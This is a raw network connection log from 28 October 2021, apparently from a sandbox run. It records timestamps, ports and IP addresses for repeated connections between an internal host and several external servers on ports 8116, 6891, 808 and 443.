Oct 28, 2021 04:59:49.324573040 CEST	50022	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.374262094 CEST	8116	50023	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.374834061 CEST	6891	50021	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:49.375082016 CEST	50023	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.375838995 CEST	50023	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.378504038 CEST	8116	50022	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.378825903 CEST	8116	50022	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.378912926 CEST	50022	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.379453897 CEST	50022	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.383523941 CEST	50022	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.383719921 CEST	50022	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.423290968 CEST	8116	50023	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.423326969 CEST	8116	50023	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.423715115 CEST	50023	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.424148083 CEST	50023	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.427822113 CEST	50023	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.427911997 CEST	50023	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.437009096 CEST	8116	50022	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.475895882 CEST	8116	50023	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.621628046 CEST	8116	50022	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.621656895 CEST	8116	50022	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.621824026 CEST	50022	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.621886015 CEST	50022	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.631334066 CEST	50022	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.646454096 CEST	8116	50023	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.646486044 CEST	8116	50023	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.646687984 CEST	50023	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.650168896 CEST	50023	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.683408976 CEST	8116	50022	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.697401047 CEST	8116	50023	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.760463953 CEST	50024	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:49.760509014 CEST	443	50024	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:49.760612965 CEST	50024	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:49.761096001 CEST	50024	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:49.761120081 CEST	443	50024	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:49.765039921 CEST	50025	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:49.765079975 CEST	443	50025	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:49.765235901 CEST	50025	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:49.765897989 CEST	50025	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:49.765914917 CEST	443	50025	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:50.287364960 CEST	443	50025	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:50.287543058 CEST	50025	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:50.288496017 CEST	50025	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:50.288505077 CEST	443	50025	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:50.290230989 CEST	443	50024	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:50.290365934 CEST	50024	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:50.291266918 CEST	50024	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:50.291290045 CEST	443	50024	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:50.294891119 CEST	50025	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:50.294899940 CEST	443	50025	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:50.295047045 CEST	50025	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:50.295054913 CEST	443	50025	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:50.296317101 CEST	50024	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:50.296350002 CEST	443	50024	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:50.296447039 CEST	50024	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:50.296458960 CEST	443	50024	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:51.004337072 CEST	443	50025	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:51.004415035 CEST	443	50025	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:51.004529953 CEST	50025	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:51.004549980 CEST	50025	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:51.008203983 CEST	443	50024	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:51.008275032 CEST	443	50024	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:51.008348942 CEST	50024	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:51.008375883 CEST	50024	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:51.011473894 CEST	50024	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:51.011517048 CEST	443	50024	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:51.013464928 CEST	50025	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:51.013490915 CEST	443	50025	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:51.121954918 CEST	50026	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.137037992 CEST	50027	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.284145117 CEST	808	50026	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.284307957 CEST	50026	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.285109043 CEST	50026	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.296741962 CEST	808	50027	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.296956062 CEST	50027	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.297559977 CEST	50027	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.447125912 CEST	808	50026	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.447191000 CEST	808	50026	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.447343111 CEST	50026	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.448191881 CEST	50026	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.454427004 CEST	50026	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.454689026 CEST	50026	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.457055092 CEST	808	50027	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.457181931 CEST	808	50027	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.457282066 CEST	50027	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.458225965 CEST	50027	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.466742039 CEST	50027	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.467315912 CEST	50027	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:51.610219002 CEST	808	50026	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.616503000 CEST	808	50026	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.616548061 CEST	808	50026	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.616686106 CEST	808	50026	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.617764950 CEST	808	50027	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.626386881 CEST	808	50027	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.626871109 CEST	808	50027	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:51.626888037 CEST	808	50027	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:52.001744986 CEST	808	50026	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:52.001779079 CEST	808	50026	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:52.001862049 CEST	50026	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:52.005059958 CEST	50026	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:52.007936001 CEST	808	50027	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:52.007976055 CEST	808	50027	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:52.008023024 CEST	50027	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:52.008052111 CEST	50027	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:52.014856100 CEST	50027	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:52.120809078 CEST	50028	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.140233040 CEST	50029	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.167123079 CEST	808	50026	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:52.174540997 CEST	808	50027	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:52.286356926 CEST	6891	50028	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:52.286621094 CEST	50028	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.287350893 CEST	50028	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.306730986 CEST	6891	50029	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:52.312098980 CEST	50029	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.312757015 CEST	50029	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.452632904 CEST	6891	50028	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:52.452682018 CEST	6891	50028	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:52.452761889 CEST	50028	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.453484058 CEST	50028	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.458817005 CEST	50028	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.458977938 CEST	50028	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.478924036 CEST	6891	50029	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:52.479091883 CEST	6891	50029	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:52.479240894 CEST	50029	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.479958057 CEST	50029	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.485481024 CEST	50029	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.485825062 CEST	50029	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:52.624150038 CEST	6891	50028	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:52.625000000 CEST	6891	50028	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:52.625046015 CEST	6891	50028	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:52.651726007 CEST	6891	50029	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:52.651911020 CEST	6891	50029	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:52.651938915 CEST	6891	50029	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:53.004221916 CEST	6891	50028	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:53.004256964 CEST	6891	50028	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:53.004415989 CEST	50028	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:53.009147882 CEST	50028	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:53.033258915 CEST	6891	50029	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:53.033298016 CEST	6891	50029	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:53.033341885 CEST	50029	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:53.033365011 CEST	50029	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:53.039241076 CEST	50029	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:53.121876001 CEST	50030	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.157882929 CEST	50031	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.169059038 CEST	8116	50030	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.169178009 CEST	50030	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.169864893 CEST	50030	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.174901962 CEST	6891	50028	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:53.208425045 CEST	6891	50029	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:53.212763071 CEST	8116	50031	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.212917089 CEST	50031	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.213690042 CEST	50031	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.216749907 CEST	8116	50030	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.216953993 CEST	8116	50030	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.217308998 CEST	50030	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.217927933 CEST	50030	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.221796036 CEST	50030	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.221990108 CEST	50030	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.268414974 CEST	8116	50031	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.268697023 CEST	8116	50031	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.268769979 CEST	50031	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.269242048 CEST	50031	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.269645929 CEST	8116	50030	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.269665003 CEST	8116	50030	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.271948099 CEST	50031	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.272068024 CEST	50031	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.326215982 CEST	8116	50031	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.326853037 CEST	8116	50031	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.440574884 CEST	8116	50030	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.440610886 CEST	8116	50030	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.440819025 CEST	50030	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.440890074 CEST	50030	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.444031000 CEST	50030	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.491452932 CEST	8116	50030	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.494256973 CEST	8116	50031	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.494316101 CEST	8116	50031	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.494398117 CEST	50031	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.494440079 CEST	50031	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.501729965 CEST	50031	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:53.556076050 CEST	8116	50031	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:53.561294079 CEST	50032	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:53.561371088 CEST	443	50032	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:53.561516047 CEST	50032	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:53.562669039 CEST	50032	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:53.562697887 CEST	443	50032	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:53.621795893 CEST	50033	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:53.621864080 CEST	443	50033	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:53.621999979 CEST	50033	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:53.622689009 CEST	50033	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:53.622715950 CEST	443	50033	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.077903986 CEST	443	50032	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.079803944 CEST	50032	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.080432892 CEST	50032	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.080450058 CEST	443	50032	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.086275101 CEST	50032	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.086292028 CEST	443	50032	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.086441994 CEST	50032	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.086456060 CEST	443	50032	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.137820959 CEST	443	50033	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.138019085 CEST	50033	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.138797998 CEST	50033	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.138807058 CEST	443	50033	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.144213915 CEST	50033	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.144218922 CEST	443	50033	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.144365072 CEST	50033	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.144375086 CEST	443	50033	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.793665886 CEST	443	50032	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.793754101 CEST	443	50032	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.793831110 CEST	50032	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.793844938 CEST	50032	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.796396017 CEST	50032	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.796426058 CEST	443	50032	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.850811958 CEST	443	50033	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.850918055 CEST	50033	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.850929022 CEST	443	50033	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.850982904 CEST	50033	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.860183954 CEST	50033	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:54.860203981 CEST	443	50033	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:54.917965889 CEST	50036	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:54.990142107 CEST	50038	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.077704906 CEST	808	50036	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.078017950 CEST	50036	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.079374075 CEST	50036	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.151082039 CEST	808	50038	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.151287079 CEST	50038	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.151869059 CEST	50038	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.238764048 CEST	808	50036	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.238970995 CEST	808	50036	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.239212036 CEST	50036	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.239636898 CEST	50036	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.242851973 CEST	50036	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.242988110 CEST	50036	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.312474966 CEST	808	50038	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.312544107 CEST	808	50038	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.312639952 CEST	50038	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.313164949 CEST	50038	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.316232920 CEST	50038	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.316370964 CEST	50038	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.398907900 CEST	808	50036	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.402164936 CEST	808	50036	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.402189970 CEST	808	50036	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.402205944 CEST	808	50036	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.402221918 CEST	808	50036	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.474251032 CEST	808	50038	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.476685047 CEST	808	50038	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.476731062 CEST	808	50038	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.476830006 CEST	808	50038	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.476881027 CEST	808	50038	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.476943016 CEST	808	50038	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.787997007 CEST	808	50036	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.788049936 CEST	808	50036	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.788162947 CEST	50036	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.790635109 CEST	50036	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.866281986 CEST	808	50038	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.866327047 CEST	808	50038	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:55.866583109 CEST	50038	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.882136106 CEST	50038	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:55.901523113 CEST	50042	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:55.950762033 CEST	808	50036	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:56.002763033 CEST	50043	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.042846918 CEST	808	50038	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:56.068087101 CEST	6891	50042	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.068294048 CEST	50042	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.069051027 CEST	50042	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.168162107 CEST	6891	50043	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.168359995 CEST	50043	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.168947935 CEST	50043	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.235382080 CEST	6891	50042	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.235517025 CEST	6891	50042	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.235668898 CEST	50042	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.236288071 CEST	50042	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.241475105 CEST	50042	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.241628885 CEST	50042	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.334424019 CEST	6891	50043	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.334443092 CEST	6891	50043	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.334624052 CEST	50043	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.335330009 CEST	50043	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.338746071 CEST	50043	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.338824987 CEST	50043	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.407924891 CEST	6891	50042	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.408931971 CEST	6891	50042	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.408951044 CEST	6891	50042	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.504013062 CEST	6891	50043	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.504033089 CEST	6891	50043	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.504040956 CEST	6891	50043	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.789200068 CEST	6891	50042	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.789247990 CEST	6891	50042	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.789395094 CEST	50042	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.792871952 CEST	50042	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.885219097 CEST	6891	50043	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.885267973 CEST	6891	50043	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:56.885447025 CEST	50043	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.893047094 CEST	50043	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:56.903892040 CEST	50048	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:56.952076912 CEST	8116	50048	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:56.952339888 CEST	50048	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:56.953243017 CEST	50048	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:56.959237099 CEST	6891	50042	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:57.001009941 CEST	8116	50048	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.001255989 CEST	8116	50048	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.001359940 CEST	50048	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.001909971 CEST	50048	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.005548954 CEST	50048	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.005665064 CEST	50048	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.012005091 CEST	50050	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.053544044 CEST	8116	50048	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.053585052 CEST	8116	50048	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.058698893 CEST	6891	50043	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:57.064372063 CEST	8116	50050	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.064558983 CEST	50050	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.066044092 CEST	50050	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.118448019 CEST	8116	50050	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.118607998 CEST	8116	50050	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.118716002 CEST	50050	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.119294882 CEST	50050	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.123244047 CEST	50050	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.123344898 CEST	50050	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.175579071 CEST	8116	50050	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.175930023 CEST	8116	50050	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.176701069 CEST	8116	50050	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.239305019 CEST	8116	50048	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.239345074 CEST	8116	50048	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.239509106 CEST	50048	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.247410059 CEST	50048	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.295345068 CEST	8116	50048	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.345768929 CEST	8116	50050	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.345808983 CEST	8116	50050	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.345988989 CEST	50050	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:57.357803106 CEST	50050	8116	192.168.2.6	185.56.219.47
